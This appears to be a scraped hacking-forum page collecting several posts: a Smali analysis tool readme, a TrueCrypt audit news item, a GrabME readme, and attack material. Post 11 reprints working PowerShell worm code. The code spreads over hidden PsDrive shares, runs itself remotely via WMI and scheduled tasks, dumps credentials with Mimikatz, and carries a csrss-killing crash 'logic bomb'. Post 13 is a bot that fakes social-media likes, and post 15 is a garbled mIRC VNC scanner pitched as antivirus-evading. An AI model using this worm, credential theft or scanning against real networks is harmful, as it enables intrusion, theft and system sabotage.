    \/\____/\ \_\ \_\ \_\ \__/.\_\/\____\\ \_\/\____/\ \____\ \__/.\_\
    \/___/ \/_/\/_/\/_/\/__/\/_/\/____/ \/_/\/___/ \/____/\/__/\/_/



    --------------------------------------------------------------------------------
    :: Author: Victor <Cyneox> Dorneanu
    :: Desc: Static Code Analysis tool for Smali files
    :: URL: http://nullsecurity.net, http://{blog,www}.dornea.nu
    :: Version: 1.0
    --------------------------------------------------------------------------------

    usage: smalisca.py (sub-commands ...) [options ...] {arguments ...}

    [--] Static Code Analysis (SCA) tool for Baskmali (Smali) files.

    commands:

    analyzer
    [--] Analyze results using an interactive prompt or on the command line.

    parser
    [--] Parse files and extract data based on Smali syntax.

    optional arguments:
    -h, --help show this help message and exit
    --debug toggle debug output
    --quiet suppress all output
    --log-level {debug,info,warn,error,critical}
    Change logging level (Default: info)
    -v, --version show program's version number and exit




    Parsing
    -------

    I'll first **parse** some directory for **Smali** files before doing the analysis stuff::

    $ smalisca parser -l ~/tmp/FakeBanker2/dumped/smali -s java -f sqlite -o fakebanker.sqlite

    ...

    :: INFO Parsing .java files in /home/victor/tmp/FakeBanker2/dumped/smali ...
    :: INFO Finished parsing!
    :: INFO Exporting results to SQLite
    :: INFO Extract classes ...
    :: INFO Extract class properties ...
    :: INFO Extract class methods ...
    :: INFO Extract calls ...
    :: INFO Commit changes to SQLite DB
    :: INFO Wrote results to fakebanker.sqlite
    :: INFO Finished scanning

    Also have a look at the `parsing page <http://smalisca.readthedocs.org/en/latest/parsing.html>`_ for further information.


    Analyzing
    ----------

    Now you're free to do whatever you want with your generated exports. You can inspect the **SQLite DB**
    directly or use *smaliscas* **analysis** features::

    $ smalisca analyzer -f sqlite -i fakebanker.sqlite

    ...


    smalisca>sc -x path -r 10
    +----+-----------------------------------------------------------------------------------------+--------------------+--------------------------+-------+
    | id | class_name | class_type | class_package | depth |
    +----+-----------------------------------------------------------------------------------------+--------------------+--------------------------+-------+
    | 1 | Landroid/support/v4/net/ConnectivityManagerCompat | public | Landroid.support.v4.net | 5 |
    | 2 | Landroid/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl | | Landroid.support.v4.view | 5 |
    | 3 | Landroid/support/v4/view/ViewCompat$ViewCompatImpl | interface abstract | Landroid.support.v4.view | 5 |
    | 4 | Landroid/support/v4/app/ActivityCompatHoneycomb | | Landroid.support.v4.app | 5 |
    | 5 | Landroid/support/v4/app/NoSaveStateFrameLayout | | Landroid.support.v4.app | 5 |
    | 6 | Landroid/support/v4/net/ConnectivityManagerCompatHoneycombMR2 | | Landroid.support.v4.net | 5 |
    | 7 | Lcom/gmail/xpack/BuildConfig | public final | Lcom.gmail.xpack | 4 |
    | 8 | Landroid/support/v4/app/BackStackRecord$Op | final | Landroid.support.v4.app | 5 |
    | 9 | Landroid/support/v4/app/FragmentManagerImpl | final | Landroid.support.v4.app | 5 |
    | 10 | Landroid/support/v4/app/ShareCompat$ShareCompatImpl | interface abstract | Landroid.support.v4.app | 5 |
    +----+-----------------------------------------------------------------------------------------+--------------------+--------------------------+-------+

    Also refer to the `analysis page <http://smalisca.readthedocs.org/en/latest/analysis.html>`_ for more available **commands** and options.


    Drawing
    -------

    Please refer to the `drawing page <http://smalisca.readthedocs.org/en/latest/drawing.html>`_ for full examples.


    License
    ========

    *smalisca* has been released under the **MIT** license. Have a look at the **LICENSE.rst** file.

    Credits
    =======

    This tool is dedicated to **Lic?**. Many thanks also go to:

    * `Stephen McAllister <https://de.linkedin.com/pub/stephen-mcallister/13/843/71a>`_

    * Many thanks for all those hours full of APK debugging and great ideas

    * My gf

    * Thank you very much for your patience and understanding!

    * `nullsecurity.net <http://nullsecurity.net>`_

    * Hack the planet!

    Download:

    smalisca-0.1.tar.gz

    Description: Static Code Analysis tool for Smali files.

    MD5: 943930dbd144c52635f3d5b874482d3a

    Author: Cyneox

  11. TL;DR: Another Powershell Worm here.

    Recently, I was approached with a few ideas about worms to test the potential to detect/stop such. This, and reading some interesting posts about PowerShell based worm(s), pushed me to attempt to build a worm with a slightly different take.

    One of the requirements of this worm is to propagate without certainty of an external connection or not to the internet. This is important if the worm is to jump across an airgap’d network somehow or if the command and control is severed. Also, attempting to dump creds and setting some sort of persistence would be a plus. Lastly, the whole thing (or as much as possible) should be written in powershell, so the option of base64 encoding it and running it in memory is present.

    Target enumeration

    This is a pick your own adventure technique. First, the worm will need to identify potential targets to spread to. The worm uses 3 techniques (others may exist) to enumerate targets:


    1. Dump domain hosts
    2. grab local class C
    3. grab IPs from netstat

    As annotated in an earlier post, we can cycle domain hosts pretty easily if we are logged into a domain via:

    function getDomain {
    $final = @()
    #get Domain computers
    $strCategory = "computer"
    $objDomain = New-Object System.DirectoryServices.DirectoryEntry
    $objSearcher = New-Object System.DirectoryServices.DirectorySearcher
    $objSearcher.SearchRoot = $objDomain
    $objSearcher.Filter = ("(objectCategory=$strCategory)")
    $colProplist = "name", "cn"
    foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)}
    $colResults = $objSearcher.FindAll()
    foreach ($objResult in $colResults)
    {
    $objComputer = $objResult.Properties
    $bleh = $objComputer.name
    $final += $bleh
    }
    return $final
    }

    But what if the victim host isn’t a part of a domain? This will fail, so error handling will be useful here (see final version at the top of the page). The next attempt to enumerate hosts is a class c brute force. To set this up, the worm needs to know the current IP address of the machine we are on, a la:

    $enum = Get-WMIObject win32_NetworkAdapterConfiguration | 
    Where-Object { $_.IPEnabled -eq $true } |
    Foreach-Object { $_.IPAddress } |
    Foreach-Object { [IPAddress]$_ } |
    Where-Object { $_.AddressFamily -eq 'Internetwork' } |
    Foreach-Object { $_.IPAddressToString }

    Then, the worm parses the first 3 octets and runs through a for loop (assumes /24 at the moment):

    function getClassC{
    Param($ip);
    $final = @()
    $classC = $ip.Split(".")[0]+"."+$ip.Split(".")[1]+"."+$ip.Split(".")[2]
    for($i=1; $i -lt 255; $i++)
    {
    $final += $classC + $i.ToString()
    }
    return $final
    }

    Lastly, the worm will try a netstat “hail mary”:

    #//netstat mode
    $n = netstat -ano

    foreach ($n2 in $n)
    {
    $n4= $n2.Split(" ")
    foreach ($n3 in $n4)
    {
    $n5 = $n3.Split(":")[0]
    if (($n5.Length -gt 7) -and ($n5.Length -lt 22))
    {
    if (!( ($n5 -eq "0.0.0.0") -or ($n5 -eq $ip) -or ($n5 -eq "127.0.0.1") ) )
    {
    if ($n5.Contains("."))
    {
    Write-Host $n5
    $final += $n5
    }
    }

    }
    }
    }

    Spreading technique

    In the testing environment, we were able to spread using the various techniques, but for simplicity we will discuss PsDrive (additional techniques may be used). The credentials used to run the worm as (or lack thereof) will dictate what is available.

    PsDrive can set up a powershell accessible share much like net share, except that this share is only viewable in powershell!

    ps-drive11.png

    Screenshot of successfully created PS-Drive that does not show up under net use.

    Here, the worm sets up the PsDrive to copy files over, moves the files to the destination (via C$ in our example, but others shares may exist):

    $prof = "USERPROFILE"
    $profile = (get-item env:$prof).Value +"\Downloads"
    $pro1 = $profile.SubString(3, $profile.Length-3)
    $psdrive = "\\"+$nethost+"\C$\"+ $pro1
    New-PsDrive -Name Y -PsProvider filesystem -Root $psdrive

    Next, the worm (and any additional scripts) are copied over:

    Copy-Item $profile\PowerW0rm.ps1 Y:\PowerW0rm.ps1
    Copy-Item $profile\PowerW0rm.mof Y:\PowerW0rm.mof
    Copy-Item $profile\Invoke-Mimikatz.ps1 Y:\Invoke-Mimikatz.ps1
    Copy-Item $profile\bypassuac-x64.exe Y:\bypassuac-x64.exe

    Finally, since this code is running in a loop, the worm removes the PsDrive:

    Remove-PsDrive Y

    Code Execution

    By default in a Windows 7/Server 2008 R2 environment, Remote Powershell isn’t enabled by default. However, other options do exist depending on access level and GPO settings. The worm uses two methods of code execution: schtasks and Invoke-WMIMethod (others will exist, such as Invoke-Command). Some of the examples can be found below:

    $run = "powershell -exec Bypass "+$profile+"\\PowerWorm.ps1"
    $task = $profile+"\\bypassuac-x64.exe /C powershell.exe -exec Stop-Process csrss" # BSOD for a logic bomb

    #run with dump creds
    Invoke-WMIMethod -Class Win32_Process -Name Create -Authentication PacketPrivacy -Computername $nethost -Credential $cred
    -Impersonation Impersonate -ArgumentList $run
    #run as current user
    Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList $run
    #schtask example
    schtasks /CREATE /S $nethost /SC Daily /MO 1 /ST 00:01 /TN "update54" /TR $task /F #scheduled for the 1st of the year @ 00:01 AM
    schtasks /RUN /TN "update54" #Runs task immediately (kills worm, but just PoC)
    schtasks /DEL /TN "update54" #would never run in this context, but is an example

    Credential Harvesting

    The worm uses a call to Invoke-Mimikatz.ps1 from the PowerSploit project to dump and parse creds as it jumps from machine to machine. This is achieved will a slight modification to the very end of Invoke-Mimikatz.ps1:

    $creds = Invoke-Mimikatz -dumpcreds
    Write-Host $creds

    The worm first calls Invoke-Minikatz:

    #try to grab creds
    $scriptPath = split-path -parent $MyInvocation.MyCommand.Definition
    $scriptPath = $scriptPath + "\Invoke-Mimikatz.ps1 -dumpcreds"
    $creds = "powershell.exe -exec Bypass " + $scriptPath
    $creds_str = runCMD $creds

    Followed by some nifty regex to extract just username and password from output:

    $creds_regex= @"
    .*\*\sUsername.*
    .*\*\sDomain.*
    .*\*\sPassword.*
    "@

    $creds_str = $creds -replace " ", "`r`n"

    $cred_store = @{}

    $found = new-object System.Text.RegularExpressions.Regex($creds_regex, [System.Text.RegularExpressions.Regexoptions]::Multiline)
    $m=$found.Matches($creds_str)

    And finally, some last minute parsing which trims the strings to exactly what is needed:

    function parsed()
    {
    Param([string]$str1)
    $p1 = $str1 -split '[\r\n]'
    $parse=@()

    for ($j=0; $j -lt 3; $j++)
    {
    $num = $j*2
    $p2 = $p1[$num].split(":")
    #Write-Host $j "," $num "," $p2
    $p3 = $p2[1]

    $parse+= , $p3
    }
    return $parse
    }

    Additional thoughts

    At the top of the post, as well as here, is a link for the complete PoC PowerWorm.ps1. It works well on Vista/7, but there seem to be a few bugs trying run this against XP/8 (due to an error with Invoke-Mimikatz). I used something very similar after gaining domain admin credentials, then began laterally moving in an environment where psexec/winrm/pass-the-hash tricks did not seem to work. I did have some issues (duh) with this worm hammering the DC because there is no check in place to see if the worm had already ran on a host, and the DC is the first host in the domain hosts array! The fix for this issue is left as an exercise for the reader. Also, this script could be easily modified to roll out other files/scripts/binaries across a domain automatically-which I also did trying to push traffic generation scripts for testing at a later date, but that story is for another post.

    Source: https://khr0x40sh.wordpress.com/2014/11/13/powershell-worm/

  12. truecrypt-security-audit-services.png

    The Security audit of TrueCrypt disk-encryption software has been completed, with no evidence of any critical design vulnerabilities or deliberate backdoors in its code.

    TrueCrypt -- one of the world's most-used open source file encryption software used by Millions of privacy and security enthusiasts -- is being audited from past two years by a team of security researchers to assess if it could be easily exploited and cracked. Hopefully, it has cleared the second phase of the audit.

    TrueCrypt is a free, open-source and cross-platform encryption program available for Windows, OSX and Linux that can be used to encrypt individual folders or encrypt entire hard drive partitions including the system partition.

    NO NSA BACKDOORS

    Security Auditors and Cryptography Experts at NCC took an initiative to perform a public information security audit of TrueCrypt in response to the concerns that National Security Agency (NSA) may have tampered with it, according to a leaked classified document by Edward Snowden.

    "TrueCrypt appears to be a relatively well-designed piece of crypto software," cryptographic expert Matthew Green wrote in a blog post on Thursday. "The NCC audit found no evidence of deliberate backdoors, or any severe design flaws that will make the software insecure in most instances."

    TrueCrypt cleared the first phase of the audit that reviewed the blueprints of the software and given a relatively clean bill of health almost a year ago. At the first phase, auditors discovered 11 issues of medium and low severity in the software.

    Now, the auditors from NCC Group’s Cryptography and security audit Services have finalized and published the 21-page Open Cryptographic report related to the second phase of audit that examined TrueCrypt's implementation of random number generators and critical key algorithms, and various encryption cipher suites.

    FOUR VULNERABILITIES DISCOVERED

    The report uncovered four vulnerabilities in the latest original version of the software, but none of them could lead to a bypass of confidentiality or let hackers use deformed inputs to subvert TrueCrypt. The vulnerabilities are given below:

    • Keyfile mixing is not cryptographically sound -- Low severity
    • Unauthenticated ciphertext in volume headers -- Undetermined
    • CryptAcquireContext may silently fail in unusual scenarios -- High severity
    • AES implementation susceptible to cache timing attacks -- High severity

    The most critical of the four vulnerabilities involved the use of Windows API to generate random numbers used by master cryptographic key.

    A separate vulnerability with undetermined severity checks for the volume header decryption was susceptible to tampering. Also, a low severity flaw for a method used to mix the entropy of keyfiles was not cryptographically sound.

    Another high severity flaw identified refers to "several included AES implementations that may be vulnerable to cache-timing attacks."

    Source: thehackernews.com

  13. AddMeFast-Bot

    Automating the process of liking/subscribing/viewing etc... on addmefast.com in order to get points and benefit from their service

    Update: now working anymore, 01-10-2015

    import mechanize

    import re

    from time import sleep

    import threading

    #cut something in many parts

    def chunkIt(seq, num):

    avg = len(seq) / float(num)

    out = []

    last = 0.0

    while last < len(seq):

    out.append(seq[int(last):int(last + avg)])

    last += avg

    return out

    #generates a browser

    def genbrowser():

    br = mechanize.Browser()

    br.set_handle_robots(False)

    br.set_handle_redirect(True)

    br.addheaders = [('User-agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.6.5')]

    return br

    class AMB(threading.Thread):

    # define environment variable

    def __init__(self, rangex, user, passw):

    self.br1 = genbrowser()

    self.alogin(self.br1, user, passw)

    self.range = rangex

    threading.Thread.__init__(self)

    self.timeout_value = 30

    # log the user in

    def alogin(self, br, user, passw):

    br.open('http://addmefast.com', \

    'email={0}&password={1}&login_button=Login'.format(user.replace('@','%40'), passw))

    if 'Welcome' in br.response().read():

    print "Login successful on add me fast"

    #main function

    def run(self):

    sleep(1)

    for i in self.range:

    try:

    #goes to a page with many links to like

    #self.br1.open(

    #act=getLinksList&params={"network":"1", "page":"1", "isFBpage":"1"}

    self.br1.open(

    'http://addmefast.com/includes/ajax.php', 'act=getLinksList&params={"network":"1", "page":"%s", "isFBpage":"1"}' % (i),timeout=self.timeout_value)

    #gets this : title="http://www.facebook.com/Ocacadordetrolls" id="L_b89734d43ed3a3dce20eeaab183365

    page_and_Lid = re.findall('div class="freepts_row" title="(.*)" id="(.*)["]{1}>', self.br1.response().read())

    #confirmSubscribe(162255, "http://www.facebook.com/TOKZ.cs", "02c08e63ec34b4c0b562ed71162255", "1", 0, "UV9W49sV%2FYIQeuGBKkE7PauwNpaJf345m0G%2FDOM3SA6GKryoh8Vrk212");

    number_and_token = re.findall("""getFBLikesBef\((.*)[,]{1} ".*["]{1}, ".*["]{1}, "1", 0, "(.*)["]{1}\);""", self.br1.response().read())

    i = 0

    while i < len(page_and_Lid):

    page = page_and_Lid[0]

    Lid = page_and_Lid[1]

    number = number_and_token[0]

    token = number_and_token[1]

    #http://addmefast.com/includes/ajax.php, act=checkFollowed&params={"id":"L_b89734d43ed3a3dce20eeaab183365", "url":"http://www.facebook.com/Ocacadordetrolls", "network":"1"}

    self.br1.open('http://addmefast.com/includes/ajax.php','act=checkFollowed&params={"id":"%s", "url":"%s", "network":"1"}' % (number, page),timeout=self.timeout_value)

    #http://addmefast.com/includes/ajax.php, act=updateAction&params={"link_id":"L_b89734d43ed3a3dce20eeaab183365", "url":"http://www.facebook.com/Ocacadordetrolls", "network":"1", "IXY5pZpE":"UV9W49sV%2FYIQeuGBKkE7PauwNpaJf345m0G%2FDOM3SA6GKryoh8Vrk212"}

    self.br1.open('http://addmefast.com/includes/ajax.php','act=updateAction&params={"link_id":"%s", "url":"%s", "network":"1", "IXY5pZpE":"%s"}' % (Lid, page, token),timeout=self.timeout_value)

    print "New shit made"

    i+=1

    except Exception, e:

    print e

    if __name__=='__main__':

    nbthreads = input('Number of threads: ')

    z = chunkIt(range(1,int(open("number.txt").read())+1), nbthreads)

    user, passw = open('account.txt').read().split(':', 1)

    while 1:

    for i in z:

    try:

    AMB(i, user, passw).start()

    except:

    pass

    while threading.activeCount() > 1:

    sleep(1)

    Source

  14. GrabME

    Sensitive information extraction tool.

    Report a bug:

    https://github.com/GuerrillaWarfare/GrabME/issues

    Up-to-date Usage examples:

    https://github.com/GuerrillaWarfare/GrabME/wiki/GrabME-Usage-Examples

    GrabME - Extract Sensitive information from a file.

    Usage: ./grabme.py [FILE]

    What can it extract ?:

    Links
    hash values
    email addresses
    ipv4, ipv6 addresses
    bitcoin wallet addresses
    MAC addresses with : or - (deliminators)
    USA Based Telephone, Social Security and Major Credit Card numbers.

    Guerrilla Warfare Free License ("GWFL") v1.0


    1. You're free to modify this software to YOUR liking or leave it as is.

    2. This software comes as is, and may or may not receive any additional updates, Contact the developer for more help.

    3. The initial download and use of this software constitutes that you adhere and comply to the writing of this end user license agreement (EULA).

    4. The Developer is NOT at ALL under any circumstances responsible for YOUR actions or the actions of any other third part instances that may use this software for any illegal or nefarious activities.

    Download

    Source

  15. ;Copy code into your mIRC remote scripts
    ;Syntax is /rvnc <ip.ip.ip.ip> <port>
    ;ex: /rvnc 192.168.0.0 5900
    ;above command will scan from 192.168.0.0 to 192.255.255.255 then halt.
    ;Illegal if you decide to scan IP addresses not in your network
    ;Education purposes only. Please keep undetected from antiviruses as this code is CLEAN!!!

    on *:sockopen:vncscan*:{
    if ($sockerr) { return }
    }
    on *:sockread:vncscan*:{
    :nextread
    sockread &vnc
    if ($sockbr == 0) return
    echo @vnc VNC Scan halted. | .timerRANGE off | halt }
    }

    press Alt + R and paste

    source: secret-zone.net

×
×
  • Create New...